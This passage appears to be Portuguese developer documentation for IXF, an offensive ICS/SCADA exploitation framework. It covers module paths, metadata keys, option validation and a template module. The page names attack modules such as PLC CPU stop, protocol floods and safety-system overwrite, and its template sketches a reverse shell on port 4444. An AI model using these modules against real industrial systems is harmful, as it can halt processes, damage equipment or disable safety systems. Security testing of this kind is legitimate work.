-
Notifications
You must be signed in to change notification settings - Fork 1
Sistema de Modulos
Este documento é a referência definitiva para a arquitetura de módulos do IXF. Cobre cada aspecto de escrita, carregamento e execução de módulos: convenções de caminho, taxonomia de categorias, anatomia do módulo, todas as 13 chaves __info__, todos os 10 tipos de opção com regras completas de validação, decoradores, padrões de métodos, internos da metaclasse e a API completa de descoberta.
- Convenções de Caminho de Módulo
- Categorias de Módulo
- Anatomia do Módulo
- Dicionário
__info__ - Tipos de Opção
- Decoradores
- Padrões de Método
- Método
get_info() - Enum de Protocolo
- Metaclasse: ExploitOptionsAggregator
- API de Descoberta
- Validação de Módulo
- Exemplo Completo de Módulo
Módulos vivem em industrialxpl/modules/ e são referenciados pelo seu caminho relativo a esse diretório. O IXF aceita duas notações equivalentes em qualquer lugar onde um caminho de módulo é esperado.
Usada no shell interativo para os comandos use, search, info e show. Visualmente parece um caminho de sistema de arquivos.
scanners/ics/modbus_detect
scanners/ics/s7_enumerate
scanners/osint/shodan_ics_dork
creds/siemens/s7_default_creds
creds/rockwell/logix_default_creds
exploits/protocols/modbus/modbus_fc90_dos
exploits/protocols/dnp3/dnp3_unsolicit_flood
exploits/protocols/s7/s7_stop_cpu
exploits/protocols/enip/enip_list_identity
exploits/protocols/bacnet/bacnet_who_is_flood
exploits/plc/siemens/s7_1200_hardcoded_key
exploits/plc/rockwell/logix5000_urdf_dos
exploits/scada/ignition/ignition_rce
cve/siemens/cve_2021_22681_s7_1200_hardcoded_key
cve/rockwell/cve_2022_1159_logix5000_heap_overflow
cve/apt/sandworm_industroyer_iec104
cve/malware/crashoverride_industroyer
cve/malware/frostygoop_modbus_heating
assessment/mitre_ics/t0843_program_upload
assessment/iec62443/zone_conduit_audit
Equivalente à notação com barras usando . como separador. Usada em contextos programáticos (import_exploit, index_modules), scripts Python e alguns comandos do shell internamente.
scanners.ics.modbus_detect
scanners.ics.s7_enumerate
creds.siemens.s7_default_creds
exploits.protocols.modbus.modbus_fc90_dos
exploits.plc.siemens.s7_1200_hardcoded_key
cve.siemens.cve_2021_22681_s7_1200_hardcoded_key
cve.malware.crashoverride_industroyer
assessment.mitre_ics.t0801_monitor_process_state
assessment.iec62443.zone_conduit_audit
As duas notações são completamente intercambiáveis no shell. O comando use normaliza barras para pontos internamente via pythonize_path(), e converte pontos de volta para barras via humanize_path() para exibição.
| Regra | Exemplo |
|---|---|
| Tudo em minúsculas | cve/siemens/cve_2021_22681_... |
| Sublinhados para separar palavras |
modbus_detect, não modbus-detect
|
| Caminhos CVE incluem o ID CVE completo | cve_2021_22681_s7_1200_hardcoded_key |
Módulos de técnica MITRE prefixados com tNNNN_
|
t0801_monitor_process_state |
| Vendor-específico agrupado sob pasta do vendor |
cve/siemens/, creds/rockwell/
|
| Nome do arquivo corresponde ao propósito da classe |
modbus_detect.py define lógica de detecção |
Ao chamar import_exploit() ou construir caminhos de importação absolutos, preceda com industrialxpl.modules.:
# Notação de barra do shell -> Caminho de importação Python absoluto
"cve/siemens/cve_2021_22681" -> "industrialxpl.modules.cve.siemens.cve_2021_22681"
"scanners/ics/modbus_detect" -> "industrialxpl.modules.scanners.ics.modbus_detect"A árvore de módulos é organizada por função e superfície de ataque. A tabela abaixo mostra cada diretório de nível superior e suas subcategorias.
Módulos de abuso de design de protocolo. Exploram fraquezas incorporadas nas especificações de protocolo industrial, não bugs de software do vendor.
| Subcategoria | Caminho de Exemplo | Descrição |
|---|---|---|
modbus/ |
exploits/protocols/modbus/modbus_fc90_dos |
Abuso de function code Modbus (FC3, FC6, FC16, FC90) |
dnp3/ |
exploits/protocols/dnp3/dnp3_unsolicit_flood |
Flood de resposta DNP3 não solicitada |
s7/ |
exploits/protocols/s7/s7_stop_cpu |
CPU stop S7 via PDU |
enip/ |
exploits/protocols/enip/enip_list_identity |
Scan de identidade EtherNet/IP / injeção de comando CIP |
bacnet/ |
exploits/protocols/bacnet/bacnet_who_is_flood |
Flood broadcast BACnet Who-Is |
iec104/ |
exploits/protocols/iec104/iec104_startdt_flood |
Abuso de STARTDT/TESTFR IEC 60870-5-104 |
opcua/ |
exploits/protocols/opcua/opcua_browse_leak |
Leak não autenticado de árvore OPC UA |
profinet/ |
exploits/protocols/profinet/profinet_dcp_flood |
Flood multicast PROFINET DCP |
Exploits PLC específicos de vendor. Visam firmware, bootloaders e extensões de protocolo proprietárias.
| Subcategoria | Caminho de Exemplo | Descrição |
|---|---|---|
siemens/ |
exploits/plc/siemens/s7_1200_hardcoded_key |
Chave criptográfica hardcoded S7-1200/1500 |
rockwell/ |
exploits/plc/rockwell/logix5000_urdf_dos |
DoS de frame não reconhecido ControlLogix 5000 |
schneider/ |
exploits/plc/schneider/modicon_m340_auth_bypass |
Sessão não autenticada Modicon M340 |
ge/ |
exploits/plc/ge/srtp_ge_rx3i_dos |
DoS de protocolo GE SRTP no RX3i |
mitsubishi/ |
exploits/plc/mitsubishi/melsec_melsecnet_rce |
RCE em série MELSEC-Q |
Exploits de software SCADA/HMI. Visam servidores historian, aplicações HMI e interfaces web SCADA.
| Subcategoria | Caminho de Exemplo | Descrição |
|---|---|---|
ignition/ |
exploits/scada/ignition/ignition_rce |
RCE Inductive Automation Ignition |
wonderware/ |
exploits/scada/wonderware/archestra_dcom_exec |
Execução DCOM Wonderware ArchestrA |
ge_cimplicity/ |
exploits/scada/ge_cimplicity/cimplicity_path_traversal |
Path traversal GE Cimplicity |
kepware/ |
exploits/scada/kepware/kepserverex_buffer_overflow |
Buffer overflow OPC DA KEPServerEX |
Descoberta e fingerprinting específicos de protocolo. Módulos somente-leitura para inventário de ativos.
| Caminho de Exemplo | Descrição |
|---|---|
scanners/ics/modbus_detect |
Proba de porta TCP Modbus e enumeração de unit ID |
scanners/ics/s7_enumerate |
Info CPU S7comm, versão firmware, nível de proteção |
scanners/ics/enip_list_identity |
Broadcast EtherNet/IP List Identity |
scanners/ics/bacnet_device_id |
Leitura de propriedade BACnet — ID de dispositivo e nome do vendor |
scanners/ics/dnp3_link_status |
Requisição DNP3 Link Status |
scanners/ics/opcua_endpoints |
Enumeração não autenticada de endpoints OPC UA |
scanners/ics/profinet_dcp_identify |
Identificação de dispositivo PROFINET DCP |
scanners/ics/iec104_connect |
Teste de conexão IEC 60870-5-104 STARTDT |
Módulos PoC de exploit específicos de CVE. Cada módulo implementa o PoC para um CVE.
| Subcategoria | Descrição |
|---|---|
cve/siemens/ |
CVEs de produtos Siemens (S7-1200, S7-1500, WinCC, SIMATIC) |
cve/rockwell/ |
CVEs Rockwell Automation / Allen-Bradley |
cve/schneider/ |
CVEs Schneider Electric (Modicon, EcoStruxure) |
cve/ge/ |
CVEs de automação General Electric |
cve/mitsubishi/ |
CVEs de automação Mitsubishi Electric |
cve/honeywell/ |
CVEs de DCS Honeywell e controladores de segurança |
cve/apt/ |
Módulos de simulação de TTP de campanhas APT reais |
cve/malware/ |
Módulos de replay de TTP de malware ICS real |
Módulos de assessment de conformidade, risco e playbooks de resposta a incidentes.
| Caminho de Exemplo | Descrição |
|---|---|
assessment/mitre_ics/t0843_program_upload |
Técnica MITRE T0843 |
assessment/iec62443/zone_conduit_audit |
Auditoria de zona e conduto IEC 62443-3-2 |
assessment/risk/ics_risk_score |
Score de risco OT composto |
assessment/ir/iacs_ir_playbook |
Playbook de IR IEC 62443-2-1 / NIST SP 800-61r3 |
Todo módulo é um único arquivo Python contendo uma classe chamada Exploit (ou Scanner ou Assessment) que herda da base Exploit importada. O nome da classe oculta a importação, o que é intencional e exigido pelo carregador IXF.
"""Descrição de uma linha do módulo usada no texto de ajuda.
Descrição extendida. Mantenha o docstring do módulo factual:
qual protocolo ou CVE está sendo visado, o que o exploit faz, e qual
o resultado esperado.
"""
# Importações de biblioteca padrão primeiro
import socket
import struct
from typing import Optional
# Importações IXF segundo
from industrialxpl.core.exploit import (
# Classe base — sua classe DEVE usar este nome (shadowing intencional)
Exploit,
# Descritores de opção — declare como atributos de nível de classe
OptBool,
OptIP,
OptInteger,
OptPort,
OptString,
# Decoradores
mute,
multi,
# Funções de impressão
print_error,
print_info,
print_status,
print_success,
print_warning,
# Portão de segurança
DestructiveGate,
)
class Exploit(Exploit):
# ── Dicionário de metadados ───────────────────────────────────────────────
__info__ = {
"name": "CVE-AAAA-NNNNN Vendor Produto Modelo",
"description": (
"Explora um estouro de buffer de pilha no handler de atualização "
"de firmware do Vendor Produto Modelo. Alcança execução de código "
"remoto não autenticado como root no PLC alvo."
),
"authors": ("Andre Henrique (@mrhenrike) | Uniao Geek",),
"references": (
"https://www.cisa.gov/ics-advisories/ICSA-AA-NNN-NN",
"https://nvd.nist.gov/vuln/detail/CVE-AAAA-NNNNN",
),
"devices": (
"Vendor Produto Modelo v1.0 - v2.3",
"Vendor Produto Modelo v3.0 (firmware < 3.1.4)",
),
"impact": "CRITICAL",
"exploit_type": "Stack Buffer Overflow",
"source_poc": "https://github.com/example/poc",
"cve": "CVE-AAAA-NNNNN",
"cvss": "9.8",
"severity": "CRITICAL",
"mitre_techniques": ["T0866", "T0821"],
"mitre_tactics": ["Lateral Movement", "Inhibit Response Function"],
"destructive_description": (
"Envia PDU de atualização de firmware malformada que desencadeia "
"buffer overflow no serviço de atualização do PLC alvo."
),
}
# ── Declarações de opção ─────────────────────────────────────────────────
target = OptIP("", "IP ou hostname do dispositivo alvo")
port = OptPort(102, "Porta S7comm (padrão: 102)")
timeout = OptInteger(5, "Timeout de conexão (segundos)", min_value=1, max_value=60)
slot = OptInteger(2, "Número de rack/slot do PLC", min_value=0, max_value=31)
simulate = OptBool(True, "Modo simulação: descreve a ação sem enviar payload")
destructive = OptBool(False, "Habilitar exploração ao vivo — pode causar danos")
# ── Método check() ───────────────────────────────────────────────────────
@mute
def check(self) -> bool:
"""Proba de conectividade somente-leitura — nunca envia exploit payloads."""
if not self.target:
return False
try:
s = socket.socket()
s.settimeout(self.timeout)
s.connect((self.target, self.port))
s.close()
return True
except Exception:
return False
# ── Método run() ─────────────────────────────────────────────────────────
def run(self) -> None:
"""Executa o exploit ou descreve o que aconteceria em modo simulação."""
if not self.target:
print_error("Defina 'target' primeiro. Exemplo: set target 192.168.1.100")
return
if self.simulate:
DestructiveGate.print_simulation(
description=(
"CVE-AAAA-NNNNN Vendor Produto — Stack Buffer Overflow\n\n"
"Passo 1: Conectar a {}:{} (S7comm)\n"
"Passo 2: Enviar PDU de atualização de firmware malformada\n"
"Passo 3: Sobrescrever endereço de retorno\n"
"Passo 4: Shellcode executa shell reverso na porta 4444\n"
"Impacto Físico: Crash do PLC ou execução de código"
).format(self.target, self.port),
payload_hex="03 00 00 XX 02 F0 80 72 01 00 ... <shellcode>",
payload_human="PDU de firmware malformada com campo 'update_data' excessivamente longo",
mitre_techniques=["T0866", "T0821"],
)
return
# Caminho ao vivo
print_status("[CVE-AAAA-NNNNN] Conectando a {}:{}...".format(self.target, self.port))
try:
s = socket.socket()
s.settimeout(self.timeout)
s.connect((self.target, self.port))
print_success("[CVE-AAAA-NNNNN] Conexão estabelecida.")
s.close()
except Exception as exc:
print_error("Erro: {}".format(exc))Todo corpo de classe de módulo deve conter um dicionário __info__. A metaclasse ExploitOptionsAggregator intercepta esta chave e a armazena sob _{NomeClasse}__info__ para sobreviver ao name mangling do Python.
A tabela abaixo documenta todas as 13 chaves válidas.
| Chave | Tipo | Obrigatório | Valores Válidos | Descrição |
|---|---|---|---|---|
name |
str |
Sim | Qualquer string | Nome legível por humanos do módulo. Exibido em show info, search e no banner do prompt. |
description |
str |
Sim | Qualquer string | Uma a três frases descrevendo a vulnerabilidade e o que o módulo faz. |
authors |
tuple[str] |
Sim | Tupla de strings | Autor(es) deste módulo. Deve ser uma tuple, não uma list. Único autor: ("Nome",) — note a vírgula final. |
references |
tuple[str] |
Sim | Tupla de strings URL | URLs de advisory, repositórios PoC, boletins de segurança do vendor, artigos acadêmicos ou referências de padrões. |
devices |
tuple[str] |
Sim | Tupla de strings | Dispositivos ou softwares afetados, incluindo faixa de versão quando conhecida. |
impact |
str |
Sim |
INFO, READ, LOW, MEDIUM, HIGH, CRITICAL, CATASTROPHIC
|
Determina o tier de confirmação do DestructiveGate. |
exploit_type |
str |
Sim | Qualquer label curto | Categoria curta para busca e filtragem. Valores comuns: "Stack Buffer Overflow", "Default Credentials", "Denial of Service", "Protocol Abuse". |
source_poc |
str |
Não | String URL ou "IXF native"
|
URL do PoC público original. Use "IXF native" para módulos sem PoC externo. |
cve |
str |
Sim |
"CVE-AAAA-NNNNN" ou "N/A"
|
Identificador CVE. Use "N/A" para zero-days, técnicas MITRE ou verificações de conformidade. |
cvss |
str |
Sim |
"0.0" a "10.0" ou "N/A"
|
Score base CVSS v3.1 como string. |
severity |
str |
Sim |
INFO, LOW, MEDIUM, HIGH, CRITICAL ou "N/A"
|
Label de severidade correspondendo ao tier CVSS. |
mitre_techniques |
list[str] |
Sim | Lista de IDs de técnica ICS | IDs de técnica MITRE ATT&CK para ICS. Use IDs da matriz ICS (T08xx), não Enterprise (T1xxx). |
mitre_tactics |
list[str] |
Sim | Lista de nomes de tática ICS | Nomes de tática MITRE ATT&CK para ICS. Deve usar os nomes exatos: "Collection", "Lateral Movement", "Inhibit Response Function", "Impair Process Control", "Impact", etc. |
destructive_description |
str |
Não | Qualquer string (máx ~72 chars) | Texto opcional exibido no banner do DestructiveGate. Se omitido, usa a description do módulo. |
| Nível | String de Descrição Exata (do código) | Quando Aplicar | Confirmação Exigida | Exemplos de Módulos |
|---|---|---|---|---|
INFO |
"Passive observation only. No packets sent." |
Módulos que nunca tocam a rede. Checklists, geradores de relatório. | Automática — sem prompt |
assessment/mitre_ics/coverage_report, assessment/ir/iacs_ir_playbook
|
READ |
"Read-only queries. No state change on target." |
Módulos que leem dados do alvo sem jamais escrever ou modificar. | Automática — sem prompt |
scanners/ics/modbus_detect, scanners/ics/s7_enumerate
|
LOW |
"Non-destructive write. Reversible." |
Módulos que escrevem dados não críticos. A mudança é facilmente revertida. | Aviso exibido, sem confirmação | exploits/protocols/modbus/modbus_single_coil_write |
MEDIUM |
"Process parameter modification. May affect operation. Reversible." |
Módulos que alteram parâmetros de processo (setpoints, timers). | Pressionar Enter para confirmar | exploits/protocols/modbus/modbus_fc16_write_registers |
HIGH |
"Device restart / process stop. Requires operator intervention." |
Módulos que param uma CPU PLC, disparam reinicialização ou interrompem processo. | Digitar string exata de confirmação |
exploits/protocols/s7/s7_stop_cpu, creds/siemens/s7_default_creds
|
CRITICAL |
"Firmware modification / safety bypass / PLC logic overwrite. MAY BE IRREVERSIBLE." |
Módulos que modificam firmware, sobrescrevem lógica PLC ou bypassam intertraves de segurança. | Digitar string exata de confirmação | cve/siemens/cve_2021_22681_s7_1200_hardcoded_key |
CATASTROPHIC |
"Physical equipment damage / safety system disabling. IRREVERSIBLE." |
Módulos que podem danificar equipamento físico, desabilitar sistemas de segurança (SIS). | String exata + contagem regressiva obrigatória de 10 segundos |
cve/malware/frostygoop_modbus_heating, cve/apt/triton_triconex_safety_overwrite
|
Módulos declaram opções como descritores de nível de classe. A metaclasse ExploitOptionsAggregator os coleta em exploit_attributes para autocompletar com Tab, show options e show advanced. A cada comando set o shell chama o método validate() do descritor; em caso de falha um OptionValidationError é levantado e o valor não é alterado.
Todos os construtores de opção compartilham esta assinatura base herdada de Option:
Option(default: Any, description: str, *, advanced: bool = False)O keyword advanced=True esconde a opção de show options e a exibe apenas em show advanced.
Arquivo: industrialxpl/core/exploit/option.py
Aceita um endereço IPv4 (validado via ipaddress.ip_address) ou um hostname (validado como alfanumérico com caracteres -, _, . apenas). Uma string vazia é sempre válida e significa "não definido".
Construtor:
OptIP(default: str, description: str, *, advanced: bool = False)Lógica de validação:
- Remover espaços em branco da entrada.
- Se string vazia, aceitar imediatamente.
- Tentar
ipaddress.ip_address(value)— aceita qualquer endereço IPv4 ou IPv6 válido. - Se falhar, verificar se cada caractere é alfanumérico ou está em
{'-', '_', '.'}— aceita hostnames e FQDN. - Se o passo 4 também falhar, levantar
OptionValidationError.
Declaração:
target = OptIP("", "IP ou hostname do dispositivo alvo")Entradas válidas:
| Entrada | Aceito? | Notas |
|---|---|---|
"192.168.1.100" |
Sim | IPv4 válido |
"10.0.0.1" |
Sim | IPv4 válido |
"::1" |
Sim | Loopback IPv6 |
"plc-01.factory.local" |
Sim | FQDN válido |
"target_host" |
Sim | Alfanumérico com sublinhado |
"" |
Sim | Vazio = não definido |
Entradas inválidas:
| Entrada | Mensagem de Erro |
|---|---|
"999.999.999.999" |
'999.999.999.999' is not a valid IP address or hostname. |
"192.168.1.100:502" |
'192.168.1.100:502' is not a valid IP address or hostname. |
"host name" |
'host name' is not a valid IP address or hostname. |
"not_valid!" |
'not_valid!' is not a valid IP address or hostname. |
Sessão de terminal:
ixf (CVE-2021-22681 S7-1200) > set target 192.168.1.100
[*] target => 192.168.1.100
ixf (CVE-2021-22681 S7-1200) > set target plc-01.factory.local
[*] target => plc-01.factory.local
ixf (CVE-2021-22681 S7-1200) > set target 192.168.1.100:502
[-] Erro de validação para 'target': '192.168.1.100:502' is not a valid IP address or hostname.
ixf (CVE-2021-22681 S7-1200) > set target not_a_hostname!
[-] Erro de validação para 'target': 'not_a_hostname!' is not a valid IP address or hostname.
ixf (CVE-2021-22681 S7-1200) > set target ""
[*] target =>
Arquivo: industrialxpl/core/exploit/option.py
Aceita um número de porta TCP ou UDP. Internamente sempre armazenado como int. Entradas string são convertidas com int().
Construtor:
OptPort(default: int, description: str, *, advanced: bool = False)Lógica de validação:
- Tentar
int(value)— aceita qualquer entrada conversível para inteiro incluindo string"502". - Se a conversão falhar, levantar
OptionValidationError. - Verificar
1 <= porta <= 65535. Se fora do intervalo, levantarOptionValidationError.
Portas padrão comuns por protocolo:
| Protocolo | Porta Padrão | Declaração |
|---|---|---|
| Modbus TCP | 502 | port = OptPort(502, "Porta Modbus TCP") |
| S7comm / TSAP | 102 | port = OptPort(102, "Porta S7comm") |
| EtherNet/IP | 44818 | port = OptPort(44818, "Porta EtherNet/IP") |
| DNP3 | 20000 | port = OptPort(20000, "Porta DNP3") |
| BACnet/IP | 47808 | port = OptPort(47808, "Porta BACnet/IP") |
| OPC UA | 4840 | port = OptPort(4840, "Porta OPC UA") |
| IEC 60870-5-104 | 2404 | port = OptPort(2404, "Porta IEC 104") |
Sessão de terminal:
ixf (Modbus FC90 DoS) > set port 502
[*] port => 502
ixf (Modbus FC90 DoS) > set port 65535
[*] port => 65535
ixf (Modbus FC90 DoS) > set port 0
[-] Erro de validação para 'port': Port must be in range 1-65535, got: 0
ixf (Modbus FC90 DoS) > set port 65536
[-] Erro de validação para 'port': Port must be in range 1-65535, got: 65536
ixf (Modbus FC90 DoS) > set port tcp
[-] Erro de validação para 'port': Port must be an integer, got: 'tcp'
Arquivo: industrialxpl/core/exploit/option.py
Aceita qualquer número inteiro. Os keywords opcionais min_value e max_value adicionam verificação de limites inclusivos.
Construtor:
OptInteger(
default: int,
description: str,
*,
min_value: Optional[int] = None,
max_value: Optional[int] = None,
advanced: bool = False,
)Lógica de validação:
- Tentar
int(value). - Se
min_valueestá definido ev < min_value, levantarOptionValidationErrorcom mensagem"{v} < minimum {min_value}". - Se
max_valueestá definido ev > max_value, levantarOptionValidationErrorcom mensagem"{v} > maximum {max_value}".
Padrões de declaração comuns:
unit_id = OptInteger(1, "Modbus unit ID (1-247)", min_value=1, max_value=247)
slot = OptInteger(2, "Número de rack/slot PLC (0-31)", min_value=0, max_value=31)
timeout = OptInteger(5, "Timeout em segundos", min_value=1, max_value=120)
threads = OptInteger(10, "Número de threads concorrentes", min_value=1, max_value=256)
retries = OptInteger(3, "Tentativas em caso de falha", min_value=0, max_value=10)
register = OptInteger(0, "Endereço inicial do registrador", min_value=0, max_value=65535)
quantity = OptInteger(10, "Número de registradores a ler", min_value=1, max_value=125)Sessão de terminal:
ixf (Modbus Detect) > set unit_id 1
[*] unit_id => 1
ixf (Modbus Detect) > set unit_id 247
[*] unit_id => 247
ixf (Modbus Detect) > set unit_id 0
[-] Erro de validação para 'unit_id': 0 < minimum 1
ixf (Modbus Detect) > set unit_id 300
[-] Erro de validação para 'unit_id': 300 > maximum 247
ixf (Modbus Detect) > set unit_id abc
[-] Erro de validação para 'unit_id': Expected integer, got: 'abc'
Arquivo: industrialxpl/core/exploit/option.py
Aceita qualquer número de ponto flutuante. Sem verificação de limites embutida. Entradas string são convertidas com float().
Construtor:
OptFloat(default: float, description: str, *, advanced: bool = False)Lógica de validação:
- Tentar
float(value). - Se a conversão falhar, levantar
OptionValidationErrorcom mensagem"Expected float, got: {value!r}".
Entradas válidas:
| Entrada | Armazenado como | Notas |
|---|---|---|
1.5 |
1.5 |
Float padrão |
0.0 |
0.0 |
Zero |
-0.3 |
-0.3 |
Negativo |
100 |
100.0 |
Inteiro convertido automaticamente |
"0.5" |
0.5 |
String convertida automaticamente |
"1e-3" |
0.001 |
Notação científica |
Entradas inválidas:
| Entrada | Mensagem de Erro |
|---|---|
"abc" |
Expected float, got: 'abc' |
"1,5" |
Expected float, got: '1,5' (vírgula não é separador decimal) |
None |
Expected float, got: None |
Declarações de exemplo:
rate_limit = OptFloat(0.5, "Limite de taxa de requisições em segundos entre pacotes")
jitter = OptFloat(0.1, "Jitter aleatório adicionado ao rate limit (segundos)", advanced=True)
threshold = OptFloat(0.9, "Limiar de confiança de detecção (0.0-1.0)")Sessão de terminal:
ixf (DNP3 Flood) > set rate_limit 0.5
[*] rate_limit => 0.5
ixf (DNP3 Flood) > set rate_limit 0
[*] rate_limit => 0.0
ixf (DNP3 Flood) > set rate_limit abc
[-] Erro de validação para 'rate_limit': Expected float, got: 'abc'
ixf (DNP3 Flood) > set rate_limit 1,5
[-] Erro de validação para 'rate_limit': Expected float, got: '1,5'
Arquivo: industrialxpl/core/exploit/option.py
Aceita qualquer valor de string. Nenhuma validação de formato é realizada. O método validate() chama str(value) incondicionalmente — isso significa que OptString nunca levanta OptionValidationError por conta própria.
Construtor:
OptString(default: str, description: str, *, advanced: bool = False)Lógica de validação:
- Retornar
str(value)— sempre bem-sucedido.
Declarações de exemplo:
username = OptString("admin", "Nome de usuário para login")
password = OptString("", "Senha para login")
payload = OptString("", "String de payload customizado (hex ou ASCII)")
output_format = OptString("table", "Formato de saída: table | json | layer")
interface = OptString("eth0", "Interface de rede para operações de socket raw")
custom_command = OptString("", "Comando customizado após RCE", advanced=True)Sessão de terminal:
ixf (S7 Default Creds) > set username admin
[*] username => admin
ixf (S7 Default Creds) > set password ""
[*] password =>
ixf (S7 Default Creds) > set output_format json
[*] output_format => json
ixf (MITRE Coverage) > set output_format layer
[*] output_format => layer
Arquivo: industrialxpl/core/exploit/option.py
Aceita valores booleanos. Tanto booleanos Python nativos quanto representações em string são aceitos, sem distinção de maiúsculas/minúsculas.
Construtor:
OptBool(default: bool, description: str, *, advanced: bool = False)Lógica de validação:
- Se o valor já é
bool, retorná-lo diretamente. - Converter para string minúscula e remover espaços em branco.
- Se em
{"true", "yes", "1", "on"}, retornarTrue. - Se em
{"false", "no", "0", "off"}, retornarFalse. - Caso contrário, levantar
OptionValidationError.
Entradas truthy válidas:
| Entrada | Armazenado como |
|---|---|
True |
True |
"true" |
True |
"True" |
True |
"yes" |
True |
"YES" |
True |
"1" |
True |
"on" |
True |
Entradas falsy válidas:
| Entrada | Armazenado como |
|---|---|
False |
False |
"false" |
False |
"no" |
False |
"0" |
False |
"off" |
False |
Entradas inválidas:
| Entrada | Mensagem de Erro |
|---|---|
"talvez" |
Expected boolean (true/false/yes/no), got: 'talvez' |
"habilitado" |
Expected boolean (true/false/yes/no), got: 'habilitado' |
2 |
Expected boolean (true/false/yes/no), got: '2' |
"y" |
Expected boolean (true/false/yes/no), got: 'y' |
Declarações de exemplo:
simulate = OptBool(True, "Modo simulação: descreve a ação sem enviar payload (padrão: True)")
destructive = OptBool(False, "Habilitar exploração ao vivo — pode causar danos irreversíveis")
verbose = OptBool(False, "Habilitar saída de debug detalhada", advanced=True)
ssl = OptBool(False, "Usar TLS/SSL para conexão")Sessão de terminal:
ixf (S7 Stop CPU) > set simulate false
[*] simulate => False
ixf (S7 Stop CPU) > set simulate yes
[*] simulate => True
ixf (S7 Stop CPU) > set destructive on
[*] destructive => True
ixf (S7 Stop CPU) > set verbose 1
[*] verbose => True
ixf (S7 Stop CPU) > set simulate talvez
[-] Erro de validação para 'simulate': Expected boolean (true/false/yes/no), got: 'talvez'
ixf (S7 Stop CPU) > set destructive habilitado
[-] Erro de validação para 'destructive': Expected boolean (true/false/yes/no), got: 'habilitado'
Arquivo: industrialxpl/core/exploit/option.py
Aceita um endereço MAC. Os formatos com separadores : e - são aceitos. O valor armazenado é sempre normalizado para notação com dois-pontos em minúsculas.
Construtor:
OptMAC(default: str, description: str, *, advanced: bool = False)Lógica de validação:
- Remover espaços em branco.
- Substituir todos os
-por:para normalizar separadores. - Dividir em
:— deve produzir exatamente 6 partes. - Cada parte deve ter exatamente 2 caracteres de comprimento.
- Se os passos 3-4 falharem, levantar
OptionValidationError. - Retornar
value.lower()— normalizado para minúsculas.
Entradas válidas:
| Entrada | Saída normalizada |
|---|---|
"00:11:22:33:44:55" |
"00:11:22:33:44:55" |
"00-11-22-33-44-55" |
"00:11:22:33:44:55" |
"AA:BB:CC:DD:EE:FF" |
"aa:bb:cc:dd:ee:ff" |
"DE:AD:BE:EF:00:01" |
"de:ad:be:ef:00:01" |
Entradas inválidas:
| Entrada | Mensagem de Erro |
|---|---|
"00:11:22:33:44" |
'00:11:22:33:44' is not a valid MAC address. |
"AABBCCDDEEFF" |
'AABBCCDDEEFF' is not a valid MAC address. |
"00:1:22:33:44:55" |
'00:1:22:33:44:55' is not a valid MAC address. (octeto 1 tem apenas 1 char) |
Declarações de exemplo:
target_mac = OptMAC("", "Endereço MAC do dispositivo alvo para targeting ARP/PROFINET")
gateway_mac = OptMAC("", "MAC do gateway para ataque MitM (alvo de ARP poisoning)")Sessão de terminal:
ixf (PROFINET DCP Identify) > set target_mac 00:1B:1B:0A:00:01
[*] target_mac => 00:1b:1b:0a:00:01
ixf (PROFINET DCP Identify) > set target_mac 00-1B-1B-0A-00-01
[*] target_mac => 00:1b:1b:0a:00:01
ixf (PROFINET DCP Identify) > set target_mac AABBCCDDEEFF
[-] Erro de validação para 'target_mac': 'AABBCCDDEEFF' is not a valid MAC address.
ixf (PROFINET DCP Identify) > set target_mac 00:11:22:33:44
[-] Erro de validação para 'target_mac': '00:11:22:33:44' is not a valid MAC address.
Arquivo: industrialxpl/core/exploit/option.py
Aceita um caminho para um arquivo de wordlist. Três formatos de entrada são suportados. O arquivo deve existir e ser legível no momento da validação.
Construtor:
OptWordlist(default: str, description: str, *, advanced: bool = False)Lógica de validação:
- Remover espaços em branco.
- Se o valor começa com
file://, remover esse prefixo para obter o caminho absoluto. - Se o caminho resultante não for absoluto, juntá-lo com
WORDLISTS_DIR(industrialxpl/resources/wordlists/). - Se o caminho não estiver vazio e
os.path.isfile(path)retornar False, levantarOptionValidationError.
Três formatos de entrada suportados:
| Formato | Exemplo | Resolução |
|---|---|---|
| Nome relativo (basename apenas) | ics_common_passwords.txt |
Resolvido para industrialxpl/resources/wordlists/ics_common_passwords.txt
|
| Caminho absoluto de sistema de arquivos | /opt/wordlists/rockyou.txt |
Usado como está |
URI file://
|
file:///opt/wordlists/custom.txt |
Remove prefixo file://, usa o resto como caminho absoluto |
Wordlists embutidas (em industrialxpl/resources/wordlists/):
| Nome do Arquivo | Conteúdo |
|---|---|
ics_common_passwords.txt |
Senhas padrão comuns ICS/SCADA |
plc_usernames.txt |
Lista comum de usuários PLC/HMI |
siemens_default_creds.txt |
Credenciais padrão de produtos Siemens |
rockwell_default_creds.txt |
Credenciais padrão Rockwell/Allen-Bradley |
schneider_default_creds.txt |
Credenciais padrão Schneider Electric |
modbus_unit_ids.txt |
Unit IDs Modbus comuns para enumerar |
Sessão de terminal:
ixf (S7 Default Creds) > set wordlist ics_common_passwords.txt
[*] wordlist => ics_common_passwords.txt
ixf (S7 Default Creds) > set wordlist file:///opt/custom_passwords.txt
[*] wordlist => file:///opt/custom_passwords.txt
ixf (S7 Default Creds) > set wordlist /opt/wordlists/rockyou.txt
[*] wordlist => /opt/wordlists/rockyou.txt
ixf (S7 Default Creds) > set wordlist nonexistent.txt
[-] Erro de validação para 'wordlist': Wordlist file not found: /path/to/industrialxpl/resources/wordlists/nonexistent.txt
ixf (S7 Default Creds) > set wordlist file:///opt/missing.txt
[-] Erro de validação para 'wordlist': Wordlist file not found: /opt/missing.txt
Arquivo: industrialxpl/core/exploit/option.py
Aceita uma string de nome de encoder. Nenhuma validação de formato é realizada — o valor é passado diretamente para o pipeline de encoding. Este é o tipo de opção mais permissivo.
Construtor:
OptEncoder(default: str, description: str, *, advanced: bool = False)Lógica de validação:
- Retornar
str(value).strip()— sempre bem-sucedido.
Valores de encoder comuns:
| Valor | Efeito |
|---|---|
"" |
Sem encoding (bytes brutos) |
"base64" |
Codificar payload em Base64 |
"hex" |
Codificar payload em hexadecimal |
"raw" |
Encoding bruto explícito (mesmo que vazio) |
"xor:0x41" |
XOR de cada byte com 0x41
|
"url" |
URL-encode do payload |
Declarações de exemplo:
encoder = OptEncoder("", "Encoder de saída para payload gerado (base64, hex, raw, xor:KEY)")Sessão de terminal:
ixf (S7 Stop CPU) > set encoder base64
[*] encoder => base64
ixf (S7 Stop CPU) > set encoder hex
[*] encoder => hex
ixf (S7 Stop CPU) > set encoder xor:0xff
[*] encoder => xor:0xff
ixf (S7 Stop CPU) > set encoder ""
[*] encoder =>
Qualquer opção pode ser marcada com advanced=True no seu construtor. Opções avançadas:
- São ocultas da saída de
show options. - São visíveis na saída de
